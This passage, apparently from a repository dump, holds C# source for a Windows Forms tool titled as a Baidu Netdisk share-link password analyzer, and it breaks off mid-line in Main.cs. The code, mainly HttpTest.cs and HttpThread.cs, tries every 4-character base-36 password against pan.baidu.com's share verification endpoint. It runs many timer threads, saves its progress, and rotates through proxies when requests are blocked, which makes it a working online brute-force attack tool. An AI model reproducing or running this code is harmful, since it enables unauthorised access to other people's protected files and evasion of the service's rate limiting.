<Generator>SettingsSingleFileGenerator</Generator>\r\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\r\n    </None>\r\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Settings.settings</DependentUpon>\r\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\r\n    </Compile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"ico.ico\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\r\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \r\n       Other similar extension points exist, see Microsoft.Common.targets.\r\n  <Target Name=\"BeforeBuild\">\r\n  </Target>\r\n  <Target Name=\"AfterBuild\">\r\n  </Target>\r\n  -->\r\n</Project>"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.23107.0\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"TestPassword\", \"TestPassword\\TestPassword.csproj\", \"{AC42684F-60E0-464C-881D-B679DA8D8A7B}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Hash.cs",
    "content": "﻿using System;\n\nnamespace zgcwkj\n{\n    public static class Hash\n    {\n        //哈希类 36进制\n        //有效哈希[10000000,11679615]\n\n        #region 只支持4位 By MXWXZ\n\n        public static string HashTo4Str(int hash)\n        {\n            string ret = \"\";\n            hash -= 10000000;\n            while (hash > 0)\n            {\n                ret += Hash2Char(hash % 36);\n                hash /= 36;\n            }\n            if (ret.Length == 3) ret += \"0\";//前导零\n            if (ret.Length == 2) ret += \"00\";\n            if (ret.Length == 1) ret += \"000\";\n            if (ret.Length == 0) ret += \"0000\";\n            return reverse(ret);\n        }\n\n        public static int StrTo4Hash(string str)\n        {\n            int ret = 0;\n            ret += Char2Hash(str[0]) * 46656;\n            ret += Char2Hash(str[1]) * 1296;\n            ret += Char2Hash(str[2]) * 36;\n            ret += Char2Hash(str[3]);\n            ret += 10000000;//防止前导零\n            return ret;\n        }\n\n        #endregion 只支持4位 By MXWXZ\n\n        #region 只支持6位 By zgcwkj\n\n        public static string HashTo6Str(int hash)\n        {\n            string ret = \"\";\n            hash -= 100000;\n            while (hash > 0)\n            {\n                ret += Hash2Char(hash % 36);\n                hash /= 36;\n            }\n            if (ret.Length == 5) ret += \"0\";//前导零\n            if (ret.Length == 4) ret += \"00\";\n            if (ret.Length == 3) ret += \"000\";\n            if (ret.Length == 2) ret += \"0000\";\n            if (ret.Length == 1) ret += \"00000\";\n            if (ret.Length == 0) ret += \"000000\";\n            return reverse(ret);\n        }\n\n        public static int StrTo6Hash(string str)\n        {\n            int ret = 0;\n            ret += Char2Hash(str[0]) * 60466176;\n            ret += Char2Hash(str[1]) * 1679616;\n            ret += Char2Hash(str[2]) * 46656;\n            ret += Char2Hash(str[3]) * 1296;\n            ret += Char2Hash(str[4]) * 36;\n            ret += Char2Hash(str[5]);\n            ret += 100000;//防止前导零\n            return ret;\n        }\n\n        #endregion 只支持6位 By zgcwkj\n\n        private static int Char2Hash(char c)\n        {\n            if (c >= '0' && c <= '9') return c - '0';\n            else return c - 'a' + 10;\n        }\n\n        private static char Hash2Char(int hash)\n        {\n            if (hash >= 0 && hash <= 9) return (char)('0' + hash);\n            else return (char)('a' + hash - 10);\n        }\n\n        private static string reverse(string str)\n        {\n            char[] arr = str.ToCharArray();\n            Array.Reverse(arr);\n            return new string(arr);\n        }\n    }\n}"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/HttpTest.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Net;\nusing System.Text;\n\nnamespace zgcwkj\n{\n    /// <summary>\n    /// Http测试类(百度网盘分享连接密码测试)\n    /// </summary>\n    public class HttpTest\n    {\n        private string info = \"\";//唯一识别文件的值\n\n        /// <summary>\n        /// 实例测试类\n        /// </summary>\n        /// <param name=\"url\">访问的链接</param>\n        public HttpTest(string url)\n        {\n            info = \"surl=\" + url.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\n        }\n\n        /// <summary>\n        /// 访问网页\n        /// </summary>\n        /// <returns></returns>\n        public string Get()\n        {\n            return HttpGet(\"https://pan.baidu.com/share/init?\" + info, null);\n        }\n\n        /// <summary>\n        /// 提交密码\n        /// </summary>\n        /// <param name=\"pwd\">密码</param>\n        /// <param name=\"webProxy\">代理实体</param>\n        /// <returns></returns>\n        public string Post(string pwd, WebProxy webProxy)\n        {\n            DateTime time = DateTime.Now;\n            DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));\n            string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();\n\n            string url = \"https://pan.baidu.com/share/verify?\" + info + \"&t=\" + ts.ToString() + \"&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==\";\n            string data = \"pwd=\" + pwd + \"&vcode=&vcode_str=\";\n\n            return HttpPost(url, data, webProxy);\n        }\n\n        #region 网络请求\n\n        private CookieContainer cookie = new CookieContainer();\n\n        #region Get请求\n\n        /// <summary>\n        /// 请求路径\n        /// </summary>\n        /// <param name=\"Url\">请求的路径</param>\n        /// <param name=\"webProxy\">代理实体</param>\n        /// <returns>返回请求的网页数据</returns>\n        private string HttpGet(string Url, WebProxy webProxy)\n        {\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\n            request.Method = \"GET\";\n            request.ContentType = \"text/html;charset=UTF-8\";\n            request.CookieContainer = cookie;\n            request.Proxy = webProxy;\n\n            try\n            {\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\n                string retString = myStreamReader.ReadToEnd();\n                myStreamReader.Close();\n                return retString;\n            }\n            catch (Exception e)\n            {\n                return e.Message;\n            }\n        }\n\n        #endregion Get请求\n\n        #region Post请求\n\n        /// <summary>\n        /// 提交数据\n        /// </summary>\n        /// <param name=\"Url\">提交的路径</param>\n        /// <param name=\"Data\">提交的数据</param>\n        /// <param name=\"webProxy\">代理实体</param>\n        /// <returns>返回结果</returns>\n        private string HttpPost(string Url, string Data, WebProxy webProxy)\n        {\n            try\n            {\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\n                request.Method = \"POST\";\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\n                request.CookieContainer = cookie;\n                request.Proxy = webProxy;\n                request.Referer = \"https://pan.baidu.com/share/init?\" + info;\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\n\n                Stream myRequestStream = request.GetRequestStream();\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\n\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\n\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\n                string retString = myStreamReader.ReadToEnd();\n                myStreamReader.Close();\n\n                return retString;\n            }\n            catch (Exception ex)\n            {\n                return ex.Message;\n            }\n        }\n\n        #endregion Post请求\n\n        #endregion 网络请求\n    }\n}"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/HttpThread.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Net;\nusing System.Timers;\n\nnamespace zgcwkj\n{\n    public class HttpThread\n    {\n        private Main myMain;//主窗体\n        private int StartValue = 0;//基值\n        private int NumberValue = 0;//剩余次数\n        private Timer timer;//线程\n        private string ThreadID;//线程ID\n\n        private WebProxy webProxy;//代理 实体\n        private string[] webProxyIP;//代理 IP组\n        private int webProxyBout;//代理 次/回\n\n        /// <summary>\n        /// http请求线程类\n        /// </summary>\n        /// <param name=\"main\">主窗体</param>\n        /// <param name=\"name\">线程名称</param>\n        /// <param name=\"start\">开始值</param>\n        /// <param name=\"number\">结束值</param>\n        /// <param name=\"interval\">线程速度</param>\n        public HttpThread(Main main, string name, int start, int number, int interval)\n        {\n            myMain = main;\n            StartValue = start;\n            NumberValue = number;\n            ThreadID = StaticClass.file + \"/\" + name;\n            timer = new Timer(interval);\n        }\n\n        /// <summary>\n        /// 启动线程\n        /// </summary>\n        /// <returns></returns>\n        public HttpThread Start()\n        {\n            #region 载入历史参数\n\n            try\n            {\n                if (File.Exists(ThreadID + \".ini\"))\n                {\n                    string _start = File.ReadAllText(ThreadID + \".ini\");\n                    if (_start != \"\") StartValue = Convert.ToInt32(_start);\n                }\n            }\n            catch { }\n\n            #endregion 载入历史参数\n\n            timer.Elapsed += new ElapsedEventHandler(_Timer);\n            timer.Start();\n            return this;\n        }\n\n        private void _Timer(object sender, ElapsedEventArgs e)\n        {\n            Timer timer = sender as Timer;\n            if (NumberValue < StartValue || StaticClass.status)\n            {\n                #region 保存历史参数\n\n                try\n                {\n                    File.WriteAllText(ThreadID + \".ini\", StartValue.ToString());\n                }\n                catch { }\n\n                #endregion 保存历史参数\n\n                timer.Stop();\n            }\n            else\n            {\n                string password = Hash.HashTo4Str(StartValue);\n                HttpTest httptest = new HttpTest(StaticClass.url);\n                string html = httptest.Post(password, webProxy);\n                myMain.ModifyStr(html, password);\n\n                if (html.Contains(\"\\\"errno\\\":0\")) { }\n                else if (html.Contains(\"\\\"errno\\\":-9\")) StartValue = StartValue + 1;\n                else if (html.Contains(\"\\\"errno\\\":-62\")) StartValue = StartValue + 1;\n                else ProxyWeb();\n            }\n        }\n\n        /// <summary>\n        /// 代理 WEB\n        /// </summary>\n        private void ProxyWeb()\n        {\n            //判断是否启动代理服务\n            if (!myMain.cB_proxy.Checked) { return; }\n\n            //判断IP组是否有数据\n            if (webProxyIP == null) { webProxyIP = File.ReadAllText(StaticClass.proxy).Replace(\"\\r\", \"\").Split('\\n'); }\n\n            string ip_port = webProxyIP[webProxyBout];\n            int indexof = ip_port.IndexOf(\":\");\n            string ip = ip_port.Substring(0, indexof);\n            string port = ip_port.Substring(indexof + 1, ip_port.Length - indexof - 1);\n\n            webProxy = new WebProxy(ip, Convert.ToInt32(port));\n\n            try\n            {\n                WebClient webClient = new WebClient();\n                webClient.Proxy = webProxy;\n                byte[] bytes = webClient.DownloadData(\"https://pan.baidu.com\");\n                string html = System.Text.Encoding.Default.GetString(bytes);\n            }\n            catch (Exception e)\n            {\n                string message = e.Message;\n                if (webProxyBout < webProxyIP.Length - 1) webProxyBout++; else webProxyBout = 0;\n            }\n        }\n    }\n}"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Main.Designer.cs",
    "content": "﻿namespace zgcwkj\n{\n    partial class Main\n    {\n        /// <summary>\n        /// 必需的设计器变量。\n        /// </summary>\n        private System.ComponentModel.IContainer components = null;\n\n        /// <summary>\n        /// 清理所有正在使用的资源。\n        /// </summary>\n        /// <param name=\"disposing\">如果应释放托管资源，为 true；否则为 false。</param>\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing && (components != null))\n            {\n                components.Dispose();\n            }\n            base.Dispose(disposing);\n        }\n\n        #region Windows 窗体设计器生成的代码\n\n        /// <summary>\n        /// 设计器支持所需的方法 - 不要修改\n        /// 使用代码编辑器修改此方法的内容。\n        /// </summary>\n        private void InitializeComponent()\n        {\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));\n            this.txt_url = new System.Windows.Forms.Label();\n            this.text_url = new System.Windows.Forms.TextBox();\n            this.gb_1 = new System.Windows.Forms.GroupBox();\n            this.text_zxsd = new System.Windows.Forms.TextBox();\n            this.text_xczs = new System.Windows.Forms.TextBox();\n            this.text_jsd = new System.Windows.Forms.TextBox();\n            this.text_ksd = new System.Windows.Forms.TextBox();\n            this.txt_zxsd = new System.Windows.Forms.Label();\n            this.txt_xczs = new System.Windows.Forms.Label();\n            this.txt_jsd = new System.Windows.Forms.Label();\n            this.txt_ksd = new System.Windows.Forms.Label();\n            this.txt_ts = new System.Windows.Forms.Label();\n            this.btn_start = new System.Windows.Forms.Button();\n            this.fBD = new System.Windows.Forms.FolderBrowserDialog();\n            this.btn_status = new System.Windows.Forms.Button();\n            this.btn_net = new System.Windows.Forms.Button();\n            this.cB_mxwxz = new System.Windows.Forms.CheckBox();\n            this.CB_zgcwkj = new System.Windows.Forms.CheckBox();\n            this.cB_ypsuperkey = new System.Windows.Forms.CheckBox();\n            this.cB_proxy = new System.Windows.Forms.CheckBox();\n            this.gb_1.SuspendLayout();\n            this.SuspendLayout();\n            // \n            // txt_url\n            // \n            this.txt_url.AutoSize = true;\n            this.txt_url.Location = new System.Drawing.Point(12, 14);\n            this.txt_url.Name = \"txt_url\";\n            this.txt_url.Size = new System.Drawing.Size(65, 12);\n            this.txt_url.TabIndex = 0;\n            this.txt_url.Text = \"目标地址：\";\n            // \n            // text_url\n            // \n            this.text_url.Location = new System.Drawing.Point(83, 10);\n            this.text_url.Name = \"text_url\";\n            this.text_url.Size = new System.Drawing.Size(389, 21);\n            this.text_url.TabIndex = 1;\n            // \n            // gb_1\n            // \n            this.gb_1.Controls.Add(this.text_zxsd);\n            this.gb_1.Controls.Add(this.text_xczs);\n            this.gb_1.Controls.Add(this.text_jsd);\n            this.gb_1.Controls.Add(this.text_ksd);\n            this.gb_1.Controls.Add(this.txt_zxsd);\n            this.gb_1.Controls.Add(this.txt_xczs);\n            this.gb_1.Controls.Add(this.txt_jsd);\n            this.gb_1.Controls.Add(this.txt_ksd);\n            this.gb_1.Location = new System.Drawing.Point(12, 37);\n            this.gb_1.Name = \"gb_1\";\n            this.gb_1.Size = new System.Drawing.Size(460, 73);\n            this.gb_1.TabIndex = 2;\n            this.gb_1.TabStop = false;\n            this.gb_1.Text = \"相关配置\";\n            // \n            // text_zxsd\n            // \n            this.text_zxsd.Location = new System.Drawing.Point(321, 17);\n            this.text_zxsd.MaxLength = 4;\n            this.text_zxsd.Name = \"text_zxsd\";\n            this.text_zxsd.Size = new System.Drawing.Size(131, 21);\n            this.text_zxsd.TabIndex = 5;\n            this.text_zxsd.Text = \"200\";\n            this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\n            // \n            // text_xczs\n            // \n            this.text_xczs.Location = new System.Drawing.Point(93, 17);\n            this.text_xczs.MaxLength = 4;\n            this.text_xczs.Name = \"text_xczs\";\n            this.text_xczs.Size = new System.Drawing.Size(131, 21);\n            this.text_xczs.TabIndex = 4;\n            this.text_xczs.Text = \"100\";\n            this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\n            // \n            // text_jsd\n            // \n            this.text_jsd.Location = new System.Drawing.Point(321, 43);\n            this.text_jsd.MaxLength = 4;\n            this.text_jsd.Name = \"text_jsd\";\n            this.text_jsd.Size = new System.Drawing.Size(131, 21);\n            this.text_jsd.TabIndex = 7;\n            this.text_jsd.Text = \"zzzz\";\n            // \n            // text_ksd\n            // \n            this.text_ksd.Location = new System.Drawing.Point(93, 43);\n            this.text_ksd.MaxLength = 4;\n            this.text_ksd.Name = \"text_ksd\";\n            this.text_ksd.Size = new System.Drawing.Size(131, 21);\n            this.text_ksd.TabIndex = 6;\n            this.text_ksd.Text = \"0000\";\n            // \n            // txt_zxsd\n            // \n            this.txt_zxsd.AutoSize = true;\n            this.txt_zxsd.Location = new System.Drawing.Point(232, 20);\n            this.txt_zxsd.Name = \"txt_zxsd\";\n            this.txt_zxsd.Size = new System.Drawing.Size(89, 12);\n            this.txt_zxsd.TabIndex = 1;\n            this.txt_zxsd.Text = \"线程执行速度：\";\n            // \n            // txt_xczs\n            // \n            this.txt_xczs.AutoSize = true;\n            this.txt_xczs.Location = new System.Drawing.Point(10, 20);\n            this.txt_xczs.Name = \"txt_xczs\";\n            this.txt_xczs.Size = new System.Drawing.Size(65, 12);\n            this.txt_xczs.TabIndex = 0;\n            this.txt_xczs.Text = \"线程总数：\";\n            // \n            // txt_jsd\n            // \n            this.txt_jsd.AutoSize = true;\n            this.txt_jsd.Location = new System.Drawing.Point(232, 46);\n            this.txt_jsd.Name = \"txt_jsd\";\n            this.txt_jsd.Size = new System.Drawing.Size(77, 12);\n            this.txt_jsd.TabIndex = 3;\n            this.txt_jsd.Text = \"密码结束点：\";\n            // \n            // txt_ksd\n            // \n            this.txt_ksd.AutoSize = true;\n            this.txt_ksd.Location = new System.Drawing.Point(10, 46);\n            this.txt_ksd.Name = \"txt_ksd\";\n            this.txt_ksd.Size = new System.Drawing.Size(77, 12);\n            this.txt_ksd.TabIndex = 2;\n            this.txt_ksd.Text = \"密码开始点：\";\n            // \n            // txt_ts\n            // \n            this.txt_ts.ForeColor = System.Drawing.Color.Red;\n            this.txt_ts.Location = new System.Drawing.Point(12, 163);\n            this.txt_ts.Name = \"txt_ts\";\n            this.txt_ts.Size = new System.Drawing.Size(460, 45);\n            this.txt_ts.TabIndex = 8;\n            this.txt_ts.Text = \"程序：百度网盘分享文件密码分析器 V 1.8.1.1\\r\\n\\r\\n开源地址：https://github.com/zgcwkj/TestBaiduPassword\";\n            this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);\n            // \n            // btn_start\n            // \n            this.btn_start.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\n            this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\n            this.btn_start.Location = new System.Drawing.Point(12, 113);\n            this.btn_start.Name = \"btn_start\";\n            this.btn_start.Size = new System.Drawing.Size(234, 44);\n            this.btn_start.TabIndex = 3;\n            this.btn_start.Text = \"打开/生成 解决方案\";\n            this.btn_start.UseVisualStyleBackColor = true;\n            this.btn_start.Click += new System.EventHandler(this.btn_start_Click);\n            // \n            // btn_status\n            // \n            this.btn_status.Enabled = false;\n            this.btn_status.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\n            this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\n            this.btn_status.Location = new System.Drawing.Point(252, 113);\n            this.btn_status.Name = \"btn_status\";\n            this.btn_status.Size = new System.Drawing.Size(94, 44);\n            this.btn_status.TabIndex = 4;\n            this.btn_status.Text = \"启动\";\n            this.btn_status.UseVisualStyleBackColor = true;\n            this.btn_status.Click += new System.EventHandler(this.btn_status_Click);\n            // \n            // btn_net\n            // \n            this.btn_net.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\n            this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));\n            this.btn_net.Location = new System.Drawing.Point(364, 113);\n            this.btn_net.Name = \"btn_net\";\n            this.btn_net.Size = new System.Drawing.Size(108, 44);\n            this.btn_net.TabIndex = 5;\n            this.btn_net.Text = \"联网查密\";\n            this.btn_net.UseVisualStyleBackColor = true;\n            this.btn_net.Click += new System.EventHandler(this.btn_net_Click);\n            // \n            // cB_mxwxz\n            // \n            this.cB_mxwxz.AutoSize = true;\n            this.cB_mxwxz.Checked = true;\n            this.cB_mxwxz.CheckState = System.Windows.Forms.CheckState.Checked;\n            this.cB_mxwxz.Location = new System.Drawing.Point(10, 216);\n            this.cB_mxwxz.Name = \"cB_mxwxz\";\n            this.cB_mxwxz.Size = new System.Drawing.Size(240, 16);\n            this.cB_mxwxz.TabIndex = 10;\n            this.cB_mxwxz.Text = \"使用 MXWXZ 的数据提交和哈希排序 方案\";\n            this.cB_mxwxz.UseVisualStyleBackColor = true;\n            // \n            // CB_zgcwkj\n            // \n            this.CB_zgcwkj.AutoSize = true;\n            this.CB_zgcwkj.Checked = true;\n            this.CB_zgcwkj.CheckState = System.Windows.Forms.CheckState.Checked;\n            this.CB_zgcwkj.Enabled = false;\n            this.CB_zgcwkj.Location = new System.Drawing.Point(10, 243);\n            this.CB_zgcwkj.Name = \"CB_zgcwkj\";\n            this.CB_zgcwkj.Size = new System.Drawing.Size(210, 16);\n            this.CB_zgcwkj.TabIndex = 11;\n            this.CB_zgcwkj.Text = \"使用 zgcwkj 提供的多线程等 方案\";\n            this.CB_zgcwkj.UseVisualStyleBackColor = true;\n            // \n            // cB_ypsuperkey\n            // \n            this.cB_ypsuperkey.AutoSize = true;\n            this.cB_ypsuperkey.Checked = true;\n            this.cB_ypsuperkey.CheckState = System.Windows.Forms.CheckState.Checked;\n            this.cB_ypsuperkey.Location = new System.Drawing.Point(263, 243);\n            this.cB_ypsuperkey.Name = \"cB_ypsuperkey\";\n            this.cB_ypsuperkey.Size = new System.Drawing.Size(216, 16);\n            this.cB_ypsuperkey.TabIndex = 12;\n            this.cB_ypsuperkey.Text = \"使用 云盘万能钥匙 提供放接口服务\";\n            this.cB_ypsuperkey.UseVisualStyleBackColor = true;\n            // \n            // cB_proxy\n            // \n            this.cB_proxy.AutoSize = true;\n            this.cB_proxy.Location = new System.Drawing.Point(263, 216);\n            this.cB_proxy.Name = \"cB_proxy\";\n            this.cB_proxy.Size = new System.Drawing.Size(204, 16);\n            this.cB_proxy.TabIndex = 10;\n            this.cB_proxy.Text = \"使用 zgcwkj 提供的自动代理服务\";\n            this.cB_proxy.UseVisualStyleBackColor = true;\n            this.cB_proxy.CheckedChanged += new System.EventHandler(this.cB_proxy_CheckedChanged);\n            // \n            // Main\n            // \n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n            this.ClientSize = new System.Drawing.Size(484, 241);\n            this.Controls.Add(this.cB_ypsuperkey);\n            this.Controls.Add(this.CB_zgcwkj);\n            this.Controls.Add(this.cB_mxwxz);\n            this.Controls.Add(this.cB_proxy);\n            this.Controls.Add(this.btn_net);\n            this.Controls.Add(this.btn_status);\n            this.Controls.Add(this.txt_ts);\n            this.Controls.Add(this.gb_1);\n            this.Controls.Add(this.text_url);\n            this.Controls.Add(this.txt_url);\n            this.Controls.Add(this.btn_start);\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\n            this.MaximizeBox = false;\n            this.MaximumSize = new System.Drawing.Size(500, 300);\n            this.MinimizeBox = false;\n            this.MinimumSize = new System.Drawing.Size(500, 280);\n            this.Name = \"Main\";\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\n            this.Text = \"百度网盘分享文件密码分析器\";\n            this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Main_FormClosed);\n            this.Load += new System.EventHandler(this.Main_Load);\n            this.gb_1.ResumeLayout(false);\n            this.gb_1.PerformLayout();\n            this.ResumeLayout(false);\n            this.PerformLayout();\n\n        }\n\n        #endregion\n        private System.Windows.Forms.Label txt_url;\n        private System.Windows.Forms.TextBox text_url;\n        private System.Windows.Forms.GroupBox gb_1;\n        private System.Windows.Forms.Label txt_ksd;\n        private System.Windows.Forms.Label txt_jsd;\n        private System.Windows.Forms.TextBox text_jsd;\n        private System.Windows.Forms.TextBox text_ksd;\n        private System.Windows.Forms.TextBox text_zxsd;\n        private System.Windows.Forms.TextBox text_xczs;\n        private System.Windows.Forms.Label txt_zxsd;\n        private System.Windows.Forms.Label txt_xczs;\n        private System.Windows.Forms.Label txt_ts;\n        private System.Windows.Forms.Button btn_start;\n        private System.Windows.Forms.FolderBrowserDialog fBD;\n        private System.Windows.Forms.Button btn_status;\n        private System.Windows.Forms.Button btn_net;\n        private System.Windows.Forms.CheckBox cB_mxwxz;\n        private System.Windows.Forms.CheckBox CB_zgcwkj;\n        private System.Windows.Forms.CheckBox cB_ypsuperkey;\n        public System.Windows.Forms.CheckBox cB_proxy;\n    }\n}\n\n"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Main.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Text.RegularExpressions;\nusing System.Windows.Forms;\n\nnamespace zgcwkj\n{\n    public partial class Main : Form\n    {\n        public Main()\n        {\n            InitializeComponent();\n        }\n\n        /// <summary>\n        /// 程序加载完成\n        /// </summary>\n        private void Main_Load(object sender, EventArgs e)\n        {\n            if (!File.Exists(\"zgcwkj\"))\n            {\n                DialogResult DR = MessageBox.Show(\"您是第一次使用吗？\", \"提示\", MessageBoxButtons.YesNo);\n                if (DR == DialogResult.Yes)\n                {\n                    File.WriteAllText(\"zgcwkj\", \"zgcwkj\");\n                    try { System.Diagnostics.Process.Start(\"http://blog.zgcwkj.top/index.php/archives/367\"); } catch { }\n                }\n            }\n        }\n\n        /// <summary>\n        /// 解决方案\n        /// </summary>\n        private void btn_start_Click(object sender, EventArgs e)\n        {\n            if (fBD.ShowDialog() == DialogResult.OK)\n            {\n                #region 防止选择非空文件夹或者不是项目的文件\n\n                //把选择的路径赋值给静态变量\n                StaticClass.file = fBD.SelectedPath;\n                //把配置文件的路径赋值给静态变量\n                StaticClass.config = fBD.SelectedPath + \"\\\\Configuration.ini\";\n                //把代理文件的路径赋值给静态变量\n                StaticClass.proxy = fBD.SelectedPath + \"\\\\proxy.ini\";\n                //获取路径下所有文件\n                string[] files = Directory.GetFiles(StaticClass.file);\n                //拒绝选择有文件的文件夹\n                if (files.Length > 0)\n                {\n                    if (File.Exists(StaticClass.config))\n                    {\n                        try\n                        {\n                            string[] str = File.ReadAllText(StaticClass.config).Split('∆');\n                            text_url.Text = str[0];\n                            text_xczs.Text = str[1];\n                            text_zxsd.Text = str[2];\n                        }\n                        catch (Exception ex)\n                        {\n                            string message = ex.Message;\n\n                            MessageBox.Show(\"所选择的文件夹，不是本程序的项目，请重新选择\");\n                            text_url.Text = \"\";\n                            text_xczs.Text = \"\";\n                            text_zxsd.Text = \"\";\n                            return;\n                        }\n                    }\n                    else\n                    {\n                        MessageBox.Show(\"请务必选择空的文件夹\");\n                        return;\n                    }\n                }\n\n                #endregion 防止选择非空文件夹或者不是项目的文件\n\n                #region 防止空文本也执行\n\n                if (text_url.Text.Trim() == \"\" || !text_url.Text.Contains(\"pan.baidu\")) { MessageBox.Show(\"请输入百度云盘链接\"); return; }\n                if (text_xczs.Text == \"\") { MessageBox.Show(\"线程总数错误\"); return; }\n                if (text_zxsd.Text == \"\") { MessageBox.Show(\"线程执行速度错误\"); return; }\n                if (text_ksd.Text.Length != 4) { MessageBox.Show(\"密码开始点错误\"); return; }\n                if (text_jsd.Text.Length != 4) { MessageBox.Show(\"密码结束点错误\"); return; }\n\n                #endregion 防止空文本也执行\n\n                #region 生成配置文件\n\n                if (!File.Exists(StaticClass.config))\n                {\n                    string Configuration;\n                    try\n                    {\n                        Configuration = File.ReadAllText(StaticClass.config);\n                        string[] str = Configuration.Split('∆');\n                        text_url.Text = str[0];\n                        text_xczs.Text = str[1];\n                        text_zxsd.Text = str[2];\n                    }\n                    catch\n                    {\n                        Configuration = text_url.Text + \"∆\" + text_xczs.Text + \"∆\" + text_zxsd.Text;\n                        File.WriteAllText(StaticClass.config, Configuration);\n                    }\n                }\n\n                #endregion 生成配置文件\n\n                //打开启动按钮\n                btn_status.Enabled = true;\n                //关闭参数调整\n                gb_1.Enabled = false;\n            }\n        }\n\n        /// <summary>\n        /// 启动或停止\n        /// </summary>\n        private void btn_status_Click(object sender, EventArgs e)\n        {\n            if (!cB_mxwxz.Checked) { MessageBox.Show(\"请使用 MXWXZ 提供的方案\"); return; }\n            if (btn_status.Text == \"停止\")\n            {\n                btn_status.Text = \"启动\";\n                btn_status.Enabled = true;\n                btn_start.Enabled = true;\n                btn_net.Enabled = true;\n                cB_mxwxz.Enabled = true;\n                cB_proxy.Enabled = true;\n                cB_ypsuperkey.Enabled = true;\n                StaticClass.status = true;\n            }\n            else\n            {\n                #region 验证文本输入是否正确\n\n                bool verificationText = false;\n                if (text_url.Text == \"\") { MessageBox.Show(\"请不要删除 目标地址\"); verificationText = true; }\n                if (text_xczs.Text == \"\") { MessageBox.Show(\"请不要删除 线程总数\"); verificationText = true; }\n                if (text_zxsd.Text == \"\") { MessageBox.Show(\"请不要删除 线程速度\"); verificationText = true; }\n                if (text_ksd.Text == \"\") { MessageBox.Show(\"请不要删除 起始值\"); verificationText = true; }\n                if (text_jsd.Text == \"\") { MessageBox.Show(\"请不要删除 结束值\"); verificationText = true; }\n                if (verificationText) { btn_status.Enabled = false; return; }\n\n                #endregion 验证文本输入是否正确\n\n                #region 基本的线程\n\n                int xczs = 